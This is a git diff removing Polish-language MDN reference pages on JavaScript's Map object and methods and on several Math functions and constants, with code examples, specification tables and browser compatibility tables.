Jeśli odpowiedziałeś 'tak' na którekolwiek z tych pytań, prawdopodobnie powinieneś użyć Map. I przeciwnie, jeśli masz zamknięty zbiór kluczy, jeśli musisz odwoływać się do poszczególnych, specyficznych kluczy a każdy z nich ma swoje, odrębne od innych znaczenie, najprawdopodobniej potrzebujesz obiektu.

- -

Własności

- -
-
Map.length
-
Wartość length  jest zawsze równa 0.
-
{{jsxref("Map.@@species", "get Map[@@species]")}}
-
Funkcja konstruktora używana do tworzenia obiektów pochodnych.
-
{{jsxref("Map.prototype")}}
-
Reprezentuje prototyp funkcji konstruktora Map. Pozwala rozszerzać prototyp wszystkich obiektów Map o własne własności.
-
- -

Instancje Map

- -

Wszystkie instancje Map  dziedziczą po {{jsxref("Map.prototype")}}.

- -

Własności

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}

- -

Metody

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}

- -

Przykłady

- -

Używanie obiektu typu Map

- -
var myMap = new Map();
-
-var keyString = 'a string',
-    keyObj = {},
-    keyFunc = function() {};
-
-// setting the values
-myMap.set(keyString, "value associated with 'a string'");
-myMap.set(keyObj, 'value associated with keyObj');
-myMap.set(keyFunc, 'value associated with keyFunc');
-
-myMap.size; // 3
-
-// getting the values
-myMap.get(keyString);    // "value associated with 'a string'"
-myMap.get(keyObj);       // "value associated with keyObj"
-myMap.get(keyFunc);      // "value associated with keyFunc"
-
-myMap.get('a string');   // "value associated with 'a string'"
-                         // because keyString === 'a string'
-myMap.get({});           // undefined, because keyObj !== {}
-myMap.get(function() {}) // undefined, because keyFunc !== function () {}
-
- -

Użycie NaN jako kluczy w  Map

- -

NaN can also be used as a key. Even though every NaN is not equal to itself (NaN !== NaN is true), the following example works, because NaNs are indistinguishable from each other:

- -
var myMap = new Map();
-myMap.set(NaN, 'not a number');
-
-myMap.get(NaN); // "not a number"
-
-var otherNaN = Number('foo');
-myMap.get(otherNaN); // "not a number"
-
- -

Iteracja po Map przy użyciu for..of

- -
var myMap = new Map();
-myMap.set(0, 'zero');
-myMap.set(1, 'one');
-for (var [key, value] of myMap) {
-  console.log(key + ' = ' + value);
-}
-// 0 = zero
-// 1 = one
-
-for (var key of myMap.keys()) {
-  console.log(key);
-}
-// 0
-// 1
-
-for (var value of myMap.values()) {
-  console.log(value);
-}
-// zero
-// one
-
-for (var [key, value] of myMap.entries()) {
-  console.log(key + ' = ' + value);
-}
-// 0 = zero
-// 1 = one
-
- -

Iteracja po Map przy użyciu forEach()

- -
myMap.forEach(function(value, key) {
-  console.log(key + ' = ' + value);
-});
-// Will show 2 logs; first with "0 = zero" and second with "1 = one"
-
- -

Relacja do obiektów typu Array

- -
var kvArray = [['key1', 'value1'], ['key2', 'value2']];
-
-// Use the regular Map constructor to transform a 2D key-value Array into a map
-var myMap = new Map(kvArray);
-
-myMap.get('key1'); // returns "value1"
-
-// Use the spread operator to transform a map into a 2D key-value Array.
-console.log(uneval([...myMap])); // Will show you exactly the same Array as kvArray
-
-// Or use the spread operator on the keys or values iterator to get
-// an array of only the keys or values
-console.log(uneval([...myMap.keys()])); // Will show ["key1", "key2"]
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map-objects', 'Map')}}{{Spec2('ES2015')}}Początkowa definicja
{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}{{Spec2('ESDraft')}}
- -

Kompatybilność przeglądarek

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support -

{{ CompatChrome(38) }} [1]

-
12{{ CompatGeckoDesktop("13") }}11257.1
Constructor argument: new Map(iterable){{ CompatChrome(38) }}12{{ CompatGeckoDesktop("13") }}{{CompatNo}}25{{CompatSafari("9")}}
iterable{{ CompatChrome(38) }}12{{ CompatGeckoDesktop("17") }}{{CompatNo}}257.1
Map.clear(){{ CompatChrome(31) }}
- {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("19")}}11257.1
Map.keys(), Map.values(), Map.entries(){{ CompatChrome(37) }}
- {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("20")}}{{CompatNo}}257.1
Map.forEach(){{ CompatChrome(36) }}
- {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("25")}}11257.1
Key equality for -0 and 0{{ CompatChrome(34) }}
- {{ CompatChrome(38) }}
12{{CompatGeckoDesktop("29")}}{{CompatNo}}25{{CompatSafari("9")}}
Constructor argument: new Map(null){{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}11{{CompatVersionUnknown}}{{CompatSafari("9")}}
Monkey-patched set() in Constructor{{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatSafari("9")}}
Map[@@species]{{CompatChrome("51")}}13{{CompatGeckoDesktop("41")}}{{CompatNo}}{{CompatOpera("38")}}{{CompatSafari("10")}}
Map() without new throws{{CompatVersionUnknown}}12{{ CompatGeckoDesktop("42") }}11{{CompatVersionUnknown}}{{CompatSafari("9")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{ CompatChrome(38) }} [1]{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}8
Constructor argument: new Map(iterable){{CompatNo}}{{ CompatChrome(38) }}{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}9
iterable{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("17") }}{{CompatNo}}{{CompatNo}}8
Map.clear(){{CompatNo}}{{ CompatChrome(31) }}
- {{ CompatChrome(38) }}
{{CompatGeckoMobile("19")}}{{CompatNo}}{{CompatNo}}8
Map.keys(), Map.values(), Map.entries(){{CompatNo}}{{ CompatChrome(37) }}
- {{ CompatChrome(38) }}
{{CompatGeckoMobile("20")}}{{CompatNo}}{{CompatNo}}8
Map.forEach(){{CompatNo}}{{ CompatChrome(36) }}
- {{ CompatChrome(38) }}
{{CompatGeckoMobile("25")}}{{CompatNo}}{{CompatNo}}8
Key equality for -0 and 0{{CompatNo}}{{ CompatChrome(34) }}
- {{ CompatChrome(38) }}
{{CompatGeckoMobile("29")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Constructor argument: new Map(null){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}9
Monkey-patched set() in Constructor{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}9
Map[@@species]{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("41")}}{{CompatUnknown}}{{CompatUnknown}}10
Map() without new throws5.1{{CompatUnknown}}{{CompatGeckoMobile("42")}}{{CompatUnknown}}{{CompatUnknown}}9
-
- -

[1] Starting with Chrome 31, the feature was available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/keys/index.html b/files/pl/web/javascript/referencje/obiekty/map/keys/index.html deleted file mode 100644 index 8723e295ab..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/keys/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Map.prototype.keys() -slug: Web/JavaScript/Referencje/Obiekty/Map/keys -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys ---- -
{{JSRef}}
- -

Metoda keys() zwraca nowy obiekt typu Iterator, który zawiera klucze dla każdego elementu w Mapie. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}
- - - -

Składnia

- -
myMap.keys()
- -

Zwracana wartość

- -

Nowy iterator obiektu typu {{jsxref("Map")}}

- -

Przykłady

- -

Używanie keys()

- -
var myMap = new Map();
-myMap.set('0', 'foo');
-myMap.set(1, 'bar');
-myMap.set({}, 'baz');
-
-var mapIter = myMap.keys();
-
-console.log(mapIter.next().value); // "0"
-console.log(mapIter.next().value); // 1
-console.log(mapIter.next().value); // Object
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.keys")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/set/index.html b/files/pl/web/javascript/referencje/obiekty/map/set/index.html deleted file mode 100644 index 951cefd229..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/set/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Map.prototype.set() -slug: Web/JavaScript/Referencje/Obiekty/Map/set -tags: - - ECMAScript 2015 - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/set ---- -
{{JSRef}}
- -

Metoda set() dodaje lub zmienia element o podany kluczu i wartości w Mapie

- -
{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}
- - - -

Składnia

- -
myMap.set(key, value);
- -

Parametry

- -
-
key
-
Wymagany. Klucz elementu, który zostanie dodany do Mapy.
-
value
-
Wymagany. Wartość elementu, który zostanie dodany do Mapy.
-
- -

Zwracana wartość

- -

 Obiekt typu Map.

- -

Przykłady

- -

Używanie set()

- -
var myMap = new Map();
-
-// Dodawanie nowych elementu
-myMap.set('bar', 'foo');
-myMap.set(1, 'foobar');
-
-// Zmiana istniejącego już elementu
-myMap.set('bar', 'baz');
-
- -

Używanie set w połączeniu z łańcuchowaniem

- -

Ponieważ set() zwraca ten sam obiekt typu Mapa, można użyć chainingu (uruchamianie metod jedna po drugiej na danym obiekcie przy użyciu kropek).

- -
// Dodawanie elementów do mapy za pomocą chainingu
-myMap.set('bar', 'foo')
-     .set(1, 'foobar')
-     .set(2, 'baz');
-
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ES2015')}}Definicja początowa.
{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.set")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/size/index.html b/files/pl/web/javascript/referencje/obiekty/map/size/index.html deleted file mode 100644 index 0ec1025e46..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/size/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Map.prototype.size -slug: Web/JavaScript/Referencje/Obiekty/Map/size -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/size ---- -
{{JSRef}}
- -

Atrybut size zwraca ilość elementów znajdujących się w obiekcie {{jsxref("Map")}}.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}
- - - -

Opis

- -

Wartość size to liczba reprezentująca ile elementów posiada obiekt Map. Funkcja set dla size to undefined; nie można edytować tego atrybutu.

- -

Przykłady

- -

Użycie size

- -
var myMap = new Map();
-myMap.set('a', 'alpha');
-myMap.set('b', 'beta');
-myMap.set('g', 'gamma');
-
-myMap.size // 3
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność

- - - -

{{Compat("javascript.builtins.Map.size")}}

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/values/index.html b/files/pl/web/javascript/referencje/obiekty/map/values/index.html deleted file mode 100644 index 50a7d72d0f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/values/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Map.prototype.values() -slug: Web/JavaScript/Referencje/Obiekty/Map/values -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/values ---- -
{{JSRef}}
- -

Metoda values() zwraca nowy obiekt typu Iterator, który zawiera wartości dla każdego elementu w Mapie. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}
- - - -

Składnia

- -
myMap.values()
- -

Zwracana wartość

- -

Nowy iterator obiektu typu {{jsxref("Map")}}.

- -

Przykłady

- -

Używanie values()

- -
var myMap = new Map();
-myMap.set('0', 'foo');
-myMap.set(1, 'bar');
-myMap.set({}, 'baz');
-
-var mapIter = myMap.values();
-
-console.log(mapIter.next().value); // "foo"
-console.log(mapIter.next().value); // "bar"
-console.log(mapIter.next().value); // "baz"
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.values")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/abs/index.html b/files/pl/web/javascript/referencje/obiekty/math/abs/index.html deleted file mode 100644 index c3b333a4ce..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/abs/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Math.abs() -slug: Web/JavaScript/Referencje/Obiekty/Math/abs -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca wartość bezwzględną danej liczby.

- -

Math.abs(x)=|x|={xifx>00ifx=0-xifx<0{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x & \text{if} \quad x \geq 0 \\ -x & \text{if} \quad x < 0 \end{cases}

- -

Składnia

- -
Math.abs(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Ponieważ abs jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.abs(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.abs()

- -

Poniższa funkcja zwraca wartość bezwzględną zmiennej x:

- -
Math.abs('-1'); // 1
-Math.abs(-2); // 2
-Math.abs(null); // 0
-Math.abs('string'); // NaN
-Math.abs(); // NaN
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/acos/index.html b/files/pl/web/javascript/referencje/obiekty/math/acos/index.html deleted file mode 100644 index afb1485ada..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/acos/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Math.acos() -slug: Web/JavaScript/Referencje/Obiekty/Math/acos -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca arcus cosinus (w radianach) danej liczby.

- -

x[-1;1],Math.acos(x)=arccos(x)= the unique y[0;π]such thatcos(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x

- -

Składnia

- -
Math.acos(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Metoda acos zwraca wartość numeryczną od 0 do pi dla x pomiędzy -1 a 1. Jeśli liczba x jest spoza przedziału [-1, 1], zwracany jest {{jsxref("NaN")}}.

- -

Ponieważ acos jest statyczną metodą obiektu Math, zawsze odwołujemy się do niej poprzez Math.acos(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.acos()

- -

Poniższa funkcja zwraca arcus cosinus zmiennej x:

- -
Math.acos(-2);  // NaN
-Math.acos(-1);  // 3.141592653589793
-Math.acos(0);   // 1.5707963267948966
-Math.acos(0.5); // 1.0471975511965979
-Math.acos(1);   // 0
-Math.acos(2);   // NaN
- -

Jeśli do getAcos przekazana zostanie wartość -1, funkcja zwróci 3.141592653589793; jeśli przekazana zostanie wartość 2, zwrócony zostanie NaN, ponieważ 2 jest poza zakresem (tj. dziedziną funkcji arcus cosinus).

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/asin/index.html b/files/pl/web/javascript/referencje/obiekty/math/asin/index.html deleted file mode 100644 index e473586a49..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/asin/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Math.asin() -slug: Web/JavaScript/Referencje/Obiekty/Math/asin -tags: - - JavaScript - - Math -translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin ---- -

{{jsref}}

- -

Podsumowanie

- -

Zwraca arcus sinus (w radianach) danej liczby.

- -

x[-1;1],Math.asin(x)=arcsin(x)= the unique y[-π2;π2]such thatsin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x

- -

Składnia

- -
Math.asin(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Metoda Math.asin() zwraca wartość liczbową pomiędzy -π2-\frac{\pi}{2} i π2\frac{\pi}{2} radianów dla x z przedziału [-1, 1]. Jeśli x jest poza tym zakresem, zwracany jest NaN.

- -

Ponieważ asin jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.asin(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.asin()

- -

Poniższa funkcja zwraca arcus sinus zmiennej x:

- -
Math.asin(-2);  // NaN
-Math.asin(-1);  // -1.5707963267948966 (-pi/2)
-Math.asin(0);   // 0
-Math.asin(0.5); // 0.5235987755982989
-Math.asin(1);   // 1.570796326794897 (pi/2)
-Math.asin(2);   // NaN
- -

Jeśli do funkcji getAsin przekazana zostanie wartość 1, funkcja ta zwróci 1.570796326794897 (pi/2); jeśli przekazana zostanie wartość 2, funkcja zwróci {{jsxref("NaN")}}, ponieważ 2 jest poza dziedziną funkcji arcus sinus.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/atan/index.html b/files/pl/web/javascript/referencje/obiekty/math/atan/index.html deleted file mode 100644 index 4e452e1f13..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/atan/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Math.atan() -slug: Web/JavaScript/Referencje/Obiekty/Math/atan -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca arcus tangens (w radianach) danej liczby.

- -

Math.atan(x)=arctan(x)= the unique y[-π2;π2]such thattan(y)=x\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x

- -

Składnia

- -
Math.atan(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Metoda atan zwraca wartość liczbową pomiędzy -π2-\frac{\pi}{2} i π2\frac{\pi}{2} radianów.

- -

Ponieważ atan jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.atan(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.atan()

- -
Math.atan(1);  // 0.7853981633974483
-Math.atan(0);  // 0
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html b/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html deleted file mode 100644 index 81f4606036..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/atan2/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Math.atan2() -slug: Web/JavaScript/Referencje/Obiekty/Math/atan2 -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2 ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca kąta (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.

- -

Składnia

- -
Math.atan2(y, x)
- -

Parametry

- -
-
y, x 
-
liczby.
-
- -

Opis

- -

Metoda atan2 zwraca wartość liczbową pomiędzy -π a π, reprezentującą kąt theta punktu (x, y). Kąt ten, mierzony w radianach, został utworzony przez dodatnią oś OX i punkt (x,y), z obrotem w kierunku przeciwnym do ruchu wskazówek zegara. Należy zwrócić uwagę na to, że pierwszym argumentem tej funkcji jest współrzędna y, a x jest argumentem drugim.

- -

Do metody Math.atan2() przekazywane są osobno argumenty x i y, podczas gdy do metody atan przekazywany jest stosunek tych dwóch wartości.

- -

Ponieważ atan2() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.atan2(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.atan2()

- -
Math.atan2(90, 15); // 1.4056476493802699
-Math.atan2(15, 90); // 0.16514867741462683
-
-Math.atan2(±0, -0);               // ±PI.
-Math.atan2(±0, +0);               // ±0.
-Math.atan2(±0, -x);               // ±PI for x > 0.
-Math.atan2(±0, x);                // ±0 for x > 0.
-Math.atan2(-y, ±0);               // -PI/2 for y > 0.
-Math.atan2(y, ±0);                // PI/2 for y > 0.
-Math.atan2(±y, -Infinity);        // ±PI for finite y > 0.
-Math.atan2(±y, +Infinity);        // ±0 for finite y > 0.
-Math.atan2(±Infinity, x);         // ±PI/2 for finite x.
-Math.atan2(±Infinity, -Infinity); // ±3*PI/4.
-Math.atan2(±Infinity, +Infinity); // ±PI/4.
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html b/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html deleted file mode 100644 index 8e48d70931..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Math.ceil() -slug: Web/JavaScript/Referencje/Obiekty/Math/ceil -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca najmniejszą liczbę całkowitą większą od lub równą danej.

- -

Składnia

- -
Math.ceil(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Ponieważ ceil jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.ceil(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.ceil()

- -

Poniższa funkcja zwraca wartość metody ceil dla zmiennej x:

- -
Math.ceil(.95);   // 1
-Math.ceil(4);     // 4
-Math.ceil(7.004); // 8
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/cos/index.html b/files/pl/web/javascript/referencje/obiekty/math/cos/index.html deleted file mode 100644 index 6634e7d96e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/cos/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Math.cos() -slug: Web/JavaScript/Referencje/Obiekty/Math/cos -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca cosinus danej liczby.

- -

Składnia

- -
Math.cos(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Metoda cos zwraca wartość liczbową pomiędzy -1 a 1, która reprezentuje cosinus kąta.

- -

Ponieważ cos() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.cos(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.cos()

- -
Math.cos(0);           // 1
-Math.cos(1);           // 0.5403023058681398
-
-Math.cos(Math.PI);     // -1
-Math.cos(2 * Math.PI); // 1
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/e/index.html b/files/pl/web/javascript/referencje/obiekty/math/e/index.html deleted file mode 100644 index 76659e8c1d..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/e/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Math.E -slug: Web/JavaScript/Referencje/Obiekty/Math/E -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/E ---- -

{{JSRef}}

- -

Podsumowanie

- -

Stała Eulera stanowiąca podstawę logarytmów naturalnych, w przybliżeniu 2.718.

- -

Math.E=e2.718\mathtt{\mi{Math.E}} = e \approx 2.718

- -

Opis

- -

Ponieważ E jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.E, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.E

- -

Poniższa funkcja zwraca e:

- -
function getNapier() {
-   return Math.E;
-}
-
-getNapier(); // 2.718281828459045
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/exp/index.html b/files/pl/web/javascript/referencje/obiekty/math/exp/index.html deleted file mode 100644 index f7bc13ecbb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/exp/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Math.exp() -slug: Web/JavaScript/Referencje/Obiekty/Math/exp -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca ex, gdzie x to argument, a e to {{jsxref("Math.E", "stała Eulera", "", 1)}}, podstawa logarytmu naturalnego.

- -

Składnia

- -
Math.exp(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Ponieważ exp jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.exp(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.exp()

- -
Math.exp(-1); // 0.36787944117144233
-Math.exp(0);  // 1
-Math.exp(1);  // 2.718281828459045
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/floor/index.html b/files/pl/web/javascript/referencje/obiekty/math/floor/index.html deleted file mode 100644 index 3fea41b72f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/floor/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Math.floor() -slug: Web/JavaScript/Referencje/Obiekty/Math/floor -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca największą liczbę całkowitą mniejszą od lub równą danej.

- -

Składnia

- -
Math.floor(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Ponieważ floor jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.floor(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.floor()

- -
Math.floor( 45.95); //  45
-Math.floor(-45.95); // -46
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/index.html b/files/pl/web/javascript/referencje/obiekty/math/index.html deleted file mode 100644 index 350fb3a7de..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Math -slug: Web/JavaScript/Referencje/Obiekty/Math -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Math ---- -

{{JSRef}}

- -

Podsumowanie

- -

Wbudowany obiekt zawierający własności i metody związane z funkcjami i stałymi matematycznymi. Na przykład własność {{jsxref("Math.PI", "PI")}} obiektu Math zawiera wartość liczby pi.

- -

Tworzony przez

- -

Obiekt Math w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Można z niego korzystać od razu, bez korzystania z konstruktora lub wywoływania tworzącej metody.

- -

Opis

- -

